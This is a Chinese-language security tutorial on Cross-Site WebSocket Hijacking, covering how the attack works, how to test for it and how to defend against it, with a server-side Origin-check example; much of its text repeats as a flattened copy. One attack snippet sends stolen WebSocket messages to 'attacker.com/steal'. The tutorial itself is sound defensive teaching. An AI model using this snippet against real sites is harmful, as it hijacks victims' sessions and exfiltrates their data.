WebSockets中的跨站劫持(Cross-Site WebSocket Hijacking,CSWSH)漏洞与防护
字数 3830 2025-12-12 05:02:57

WebSockets中的跨站劫持(Cross-Site WebSocket Hijacking,CSWSH)漏洞与防护

一、知识点的描述
WebSockets中的跨站劫持(Cross-Site WebSocket Hijacking,简称CSWSH或CSWH)是一种结合了跨站请求伪造(CSRF)和WebSocket协议特性的安全漏洞。它允许攻击者诱导受害者浏览器在用户不知情的情况下,代表受害者与WebSocket服务器建立连接并进行恶意通信。由于WebSocket连接在建立时通常复用浏览器的认证上下文(如Cookie、HTTP认证头),且连接建立后的双向通信可能缺乏额外的授权检查,攻击者可以窃取敏感数据、执行未授权操作,或通过已建立的连接注入恶意消息,破坏应用程序的正常逻辑。

二、漏洞原理的深入剖析

  1. WebSocket连接建立机制
    WebSocket协议通过HTTP/HTTPS协议“升级”而来。客户端发起一个包含Upgrade: websocketConnection: Upgrade等特定头部的HTTP请求。如果服务器同意升级,则返回101 Switching Protocols响应,此后连接转为全双工的WebSocket通信。关键的漏洞在于:建立连接的初始HTTP请求会由浏览器自动携带与该目标域关联的所有Cookie(包括会话Cookie),类似于常规的AJAX请求。然而,与AJAX受同源策略(SOP)和CORS严格限制不同,WebSocket协议本身不受同源策略对“连接建立”阶段的约束。浏览器允许任何网页(包括恶意网站)向任意域发起WebSocket连接请求,并自动附加该域的Cookie。

  2. 攻击场景构建
    假设用户已登录一个使用WebSocket进行实时通信的Web应用(例如,在线聊天、股票交易仪表板、协作编辑工具)。该应用在wss://target-app.com上运行WebSocket服务。用户会话由Cookie sessionId=abc123 标识。此时,攻击者创建一个恶意网站,并嵌入类似以下的JavaScript代码:

    const ws = new WebSocket('wss://target-app.com/ws');
    ws.onopen = () => {
        // 连接已建立,此时连接已通过受害者的会话Cookie认证
        ws.send(JSON.stringify({action: 'getSensitiveData'}));
    };
    ws.onmessage = (event) => {
        // 接收服务器返回的敏感数据,并将其发送到攻击者控制的服务器
        fetch('https://attacker.com/steal', {method: 'POST', body: event.data});
    };
    

    当受害者访问此恶意网站时,其浏览器会自动向target-app.com发起WebSocket连接请求,并带上用户的会话Cookie sessionId=abc123。服务器验证Cookie有效,便建立了经过认证的WebSocket连接。之后,恶意脚本可以通过该连接发送任意指令(如查询敏感信息、执行操作),并接收服务器的响应,从而完成劫持。

  3. 与CSRF的异同

    • 相同点:利用浏览器自动携带认证凭据的机制,在用户不知情下以用户身份发起请求。
    • 不同点
      • 协议与持久性:CSRF针对的是单个HTTP请求(通常是状态更改请求),而CSWSH劫持的是一个持久、全双工的通信通道,攻击者可在连接存活期间持续进行交互。
      • 数据窃取能力:传统CSRF通常无法直接读取响应(受SOP限制),但CSWSH通过onmessage回调可以直接读取服务器推送的所有消息,信息泄露风险更高。
      • 交互复杂性:CSWSH允许攻击者与服务器进行多轮、有状态的复杂交互,可能触发更复杂的业务逻辑漏洞。

三、漏洞的成因与关键风险点

  1. 缺乏Origin验证:服务器在WebSocket握手阶段,未验证或未严格验证OriginSec-WebSocket-Origin请求头。此头部由浏览器自动设置,指示发起连接的网页来源。服务器应仅接受来自可信来源(如应用自身域名)的连接。
  2. 过度依赖Cookie认证:连接认证完全依赖于浏览器自动发送的Cookie,且连接建立后没有对每个消息进行会话验证或授权检查。
  3. 无CSRF令牌保护握手:WebSocket握手请求是标准的HTTP请求,但开发者常常忘记为其添加CSRF令牌验证,使其暴露于CSRF攻击之下。
  4. 敏感操作缺乏二次确认:通过WebSocket通道执行的敏感操作(如转账、更改设置、获取私密数据)未在应用层要求额外的确认(如密码、OTP),或未对客户端类型(是否为预期页面)进行校验。

四、漏洞的发现与验证步骤

  1. 识别WebSocket端点:使用浏览器开发者工具的“Network”选项卡,筛选WSWSS协议,找到应用程序建立的WebSocket连接及其URL(如wss://target.com/chat)。
  2. 检查握手请求:查看握手请求(HTTP 101之前的请求)的头部,确认是否包含CookieAuthorization等认证信息,并检查服务器是否验证了OriginSec-WebSocket-Origin头。
  3. 模拟跨域握手
    • 在攻击者控制的域(或本地HTML文件)上创建一个简单页面,包含JavaScript代码,尝试建立到目标WebSocket端点的连接。
    • 使用fetchXMLHttpRequest模拟握手请求,观察是否能成功建立连接(返回101状态码)。
  4. 验证交互劫持
    • 如果连接建立成功,尝试通过该连接发送一些无害的探测消息(例如,查询公开信息、获取用户自身资料)。
    • 监听onmessage事件,检查是否能接收到服务器响应。
    • 注意:此步骤应在授权的安全测试环境中进行,避免侵犯隐私或破坏服务。
  5. 检查消息级授权:尝试发送本应无权限执行的操作消息(例如,访问其他用户的数据、执行管理操作),观察服务器是否仅依赖连接身份而不做进一步授权检查。

五、防护与缓解策略(从握手到通信的纵深防御)

  1. 严格验证Origin头(最关键防线)

    • 在服务器端WebSocket握手处理逻辑中,必须检查Origin(或Sec-WebSocket-Origin)请求头的值。
    • 维护一个允许的来源(Origin)白名单,通常应包括应用自身的所有合法域名和子域名(如https://www.target.comhttps://app.target.com)。对于移动端或桌面客户端,可能需要特殊处理。
    • 示例(Node.js + ws库)
      const WebSocket = require('ws');
      const server = new WebSocket.Server({ port: 8080, verifyClient: (info, cb) => {
          const allowedOrigins = ['https://www.target.com', 'https://app.target.com'];
          if (allowedOrigins.includes(info.origin)) {
              cb(true); // 接受连接
          } else {
              cb(false, 403, 'Forbidden'); // 拒绝连接
          }
      }});
      
    • 注意Origin头可以被恶意用户手动构造(例如通过桌面客户端、curl),因此它主要防御来自浏览器环境的跨站请求。服务器端应结合其他机制。
  2. 使用CSRF令牌保护握手

    • 在渲染包含WebSocket连接代码的页面时,生成一个一次性、随机且与用户会话绑定的CSRF令牌。
    • 将该令牌作为URL查询参数或自定义头部(如X-CSRF-Token)添加到WebSocket连接请求中。
    • 服务器在握手时,验证此令牌的有效性和匹配性。
    • 示例:连接URL变为 wss://target.com/ws?csrfToken=随机令牌。服务器在verifyClient回调中解析并验证该令牌。
  3. 实现消息级认证与授权

    • 不要假设连接建立后的所有消息都来自合法用户。对于敏感操作,应在消息载荷中包含一个消息签名会话令牌
    • 服务器处理每条消息时,都应验证其权限。例如,可以要求客户端在建立连接后首先发送一个“认证”消息,包含一个由页面JavaScript从Cookie或本地存储中读取并计算出的签名。
    • 架构建议:将WebSocket连接视为一个“传输层”,在其之上构建一个应用层协议,该协议要求每个请求都包含一个经过验证的、有时效性的访问令牌(如JWT),并在服务器端对每个请求进行授权决策。
  4. 减少对Cookie的单一依赖

    • 考虑使用基于令牌(Token-Based)的认证。在页面加载时,通过一个受CSRF保护的API调用获取一个短期有效的WebSocket专用令牌,然后用该令牌建立连接(例如放在URL参数中)。这样,即使Cookie被CSRF利用,没有专用令牌也无法建立连接。
    • 对于高度敏感的应用,可以使用双因素认证或在建立WebSocket连接前要求用户进行交互式确认。
  5. 实施同站Cookie(SameSite Cookies)

    • 将会话Cookie标记为SameSite=StrictSameSite=Lax。这可以阻止浏览器在跨站请求(包括WebSocket握手)中自动发送这些Cookie,从而从根本上阻断CSWSH攻击。但需评估这对应用其他功能(如从第三方站点跳转登录)的影响。
  6. 客户端防御(增强型)

    • 在客户端JavaScript中,可以检查document.domainwindow.location.origin,确保WebSocket连接代码仅在预期的上下文中执行。但这容易被绕过,不能作为主要防御。
    • 考虑使用子资源完整性(SRI) 和严格的内容安全策略(CSP),防止恶意脚本被注入到合法页面中发起攻击。

六、总结
CSWSH是一种严重但常被忽视的漏洞,它放大了CSRF的危害。防护的核心在于:在握手阶段严格验证Origin,并考虑引入CSRF令牌;在通信阶段实施消息级的认证与授权,杜绝“一次认证,全程通行”的假设。通过结合同站Cookie、令牌认证和细粒度的授权检查,可以构建起纵深防御体系,有效保护WebSocket通信的安全。在设计和评审使用WebSocket的实时Web应用时,必须将CSWSH列为关键威胁进行考量。

WebSockets中的跨站劫持(Cross-Site WebSocket Hijacking,CSWSH)漏洞与防护 一、知识点的描述 WebSockets中的跨站劫持(Cross-Site WebSocket Hijacking,简称CSWSH或CSWH)是一种结合了跨站请求伪造(CSRF)和WebSocket协议特性的安全漏洞。它允许攻击者诱导受害者浏览器在用户不知情的情况下,代表受害者与WebSocket服务器建立连接并进行恶意通信。由于WebSocket连接在建立时通常复用浏览器的认证上下文(如Cookie、HTTP认证头),且连接建立后的双向通信可能缺乏额外的授权检查,攻击者可以窃取敏感数据、执行未授权操作,或通过已建立的连接注入恶意消息,破坏应用程序的正常逻辑。 二、漏洞原理的深入剖析 WebSocket连接建立机制 : WebSocket协议通过HTTP/HTTPS协议“升级”而来。客户端发起一个包含 Upgrade: websocket 和 Connection: Upgrade 等特定头部的HTTP请求。如果服务器同意升级,则返回101 Switching Protocols响应,此后连接转为全双工的WebSocket通信。关键的漏洞在于: 建立连接的初始HTTP请求会由浏览器自动携带与该目标域关联的所有Cookie(包括会话Cookie) ,类似于常规的AJAX请求。然而,与AJAX受同源策略(SOP)和CORS严格限制不同, WebSocket协议本身不受同源策略对“连接建立”阶段的约束 。浏览器允许任何网页(包括恶意网站)向任意域发起WebSocket连接请求,并自动附加该域的Cookie。 攻击场景构建 : 假设用户已登录一个使用WebSocket进行实时通信的Web应用(例如,在线聊天、股票交易仪表板、协作编辑工具)。该应用在 wss://target-app.com 上运行WebSocket服务。用户会话由Cookie sessionId=abc123 标识。此时,攻击者创建一个恶意网站,并嵌入类似以下的JavaScript代码: 当受害者访问此恶意网站时,其浏览器会自动向 target-app.com 发起WebSocket连接请求,并带上用户的会话Cookie sessionId=abc123 。服务器验证Cookie有效,便建立了经过认证的WebSocket连接。之后,恶意脚本可以通过该连接发送任意指令(如查询敏感信息、执行操作),并接收服务器的响应,从而完成劫持。 与CSRF的异同 : 相同点 :利用浏览器自动携带认证凭据的机制,在用户不知情下以用户身份发起请求。 不同点 : 协议与持久性 :CSRF针对的是单个HTTP请求(通常是状态更改请求),而CSWSH劫持的是一个 持久、全双工的通信通道 ,攻击者可在连接存活期间持续进行交互。 数据窃取能力 :传统CSRF通常无法直接读取响应(受SOP限制),但CSWSH通过 onmessage 回调可以 直接读取服务器推送的所有消息 ,信息泄露风险更高。 交互复杂性 :CSWSH允许攻击者与服务器进行多轮、有状态的复杂交互,可能触发更复杂的业务逻辑漏洞。 三、漏洞的成因与关键风险点 缺乏Origin验证 :服务器在WebSocket握手阶段,未验证或未严格验证 Origin 或 Sec-WebSocket-Origin 请求头。此头部由浏览器自动设置,指示发起连接的网页来源。服务器应仅接受来自可信来源(如应用自身域名)的连接。 过度依赖Cookie认证 :连接认证完全依赖于浏览器自动发送的Cookie,且连接建立后没有对每个消息进行会话验证或授权检查。 无CSRF令牌保护握手 :WebSocket握手请求是标准的HTTP请求,但开发者常常忘记为其添加CSRF令牌验证,使其暴露于CSRF攻击之下。 敏感操作缺乏二次确认 :通过WebSocket通道执行的敏感操作(如转账、更改设置、获取私密数据)未在应用层要求额外的确认(如密码、OTP),或未对客户端类型(是否为预期页面)进行校验。 四、漏洞的发现与验证步骤 识别WebSocket端点 :使用浏览器开发者工具的“Network”选项卡,筛选 WS 或 WSS 协议,找到应用程序建立的WebSocket连接及其URL(如 wss://target.com/chat )。 检查握手请求 :查看握手请求(HTTP 101之前的请求)的头部,确认是否包含 Cookie 、 Authorization 等认证信息,并检查服务器是否验证了 Origin 或 Sec-WebSocket-Origin 头。 模拟跨域握手 : 在攻击者控制的域(或本地HTML文件)上创建一个简单页面,包含JavaScript代码,尝试建立到目标WebSocket端点的连接。 使用 fetch 或 XMLHttpRequest 模拟握手请求,观察是否能成功建立连接(返回101状态码)。 验证交互劫持 : 如果连接建立成功,尝试通过该连接发送一些无害的探测消息(例如,查询公开信息、获取用户自身资料)。 监听 onmessage 事件,检查是否能接收到服务器响应。 注意 :此步骤应在授权的安全测试环境中进行,避免侵犯隐私或破坏服务。 检查消息级授权 :尝试发送本应无权限执行的操作消息(例如,访问其他用户的数据、执行管理操作),观察服务器是否仅依赖连接身份而不做进一步授权检查。 五、防护与缓解策略(从握手到通信的纵深防御) 严格验证Origin头(最关键防线) : 在服务器端WebSocket握手处理逻辑中,必须检查 Origin (或 Sec-WebSocket-Origin )请求头的值。 维护一个允许的来源(Origin)白名单,通常应包括应用自身的所有合法域名和子域名(如 https://www.target.com , https://app.target.com )。对于移动端或桌面客户端,可能需要特殊处理。 示例(Node.js + ws库) : 注意 : Origin 头可以被恶意用户手动构造(例如通过桌面客户端、curl),因此它主要防御来自浏览器环境的跨站请求。服务器端应结合其他机制。 使用CSRF令牌保护握手 : 在渲染包含WebSocket连接代码的页面时,生成一个一次性、随机且与用户会话绑定的CSRF令牌。 将该令牌作为URL查询参数或自定义头部(如 X-CSRF-Token )添加到WebSocket连接请求中。 服务器在握手时,验证此令牌的有效性和匹配性。 示例 :连接URL变为 wss://target.com/ws?csrfToken=随机令牌 。服务器在 verifyClient 回调中解析并验证该令牌。 实现消息级认证与授权 : 不要假设连接建立后的所有消息都来自合法用户。对于敏感操作,应在消息载荷中包含一个 消息签名 或 会话令牌 。 服务器处理每条消息时,都应验证其权限。例如,可以要求客户端在建立连接后首先发送一个“认证”消息,包含一个由页面JavaScript从Cookie或本地存储中读取并计算出的签名。 架构建议 :将WebSocket连接视为一个“传输层”,在其之上构建一个应用层协议,该协议要求每个请求都包含一个经过验证的、有时效性的访问令牌(如JWT),并在服务器端对每个请求进行授权决策。 减少对Cookie的单一依赖 : 考虑使用基于令牌(Token-Based)的认证。在页面加载时,通过一个受CSRF保护的API调用获取一个短期有效的WebSocket专用令牌,然后用该令牌建立连接(例如放在URL参数中)。这样,即使Cookie被CSRF利用,没有专用令牌也无法建立连接。 对于高度敏感的应用,可以使用 双因素认证 或在建立WebSocket连接前要求用户进行交互式确认。 实施同站Cookie(SameSite Cookies) : 将会话Cookie标记为 SameSite=Strict 或 SameSite=Lax 。这可以阻止浏览器在跨站请求(包括WebSocket握手)中自动发送这些Cookie,从而从根本上阻断CSWSH攻击。但需评估这对应用其他功能(如从第三方站点跳转登录)的影响。 客户端防御(增强型) : 在客户端JavaScript中,可以检查 document.domain 或 window.location.origin ,确保WebSocket连接代码仅在预期的上下文中执行。但这容易被绕过,不能作为主要防御。 考虑使用 子资源完整性(SRI) 和严格的 内容安全策略(CSP) ,防止恶意脚本被注入到合法页面中发起攻击。 六、总结 CSWSH是一种严重但常被忽视的漏洞,它放大了CSRF的危害。防护的核心在于: 在握手阶段严格验证Origin,并考虑引入CSRF令牌;在通信阶段实施消息级的认证与授权,杜绝“一次认证,全程通行”的假设 。通过结合同站Cookie、令牌认证和细粒度的授权检查,可以构建起纵深防御体系,有效保护WebSocket通信的安全。在设计和评审使用WebSocket的实时Web应用时,必须将CSWSH列为关键威胁进行考量。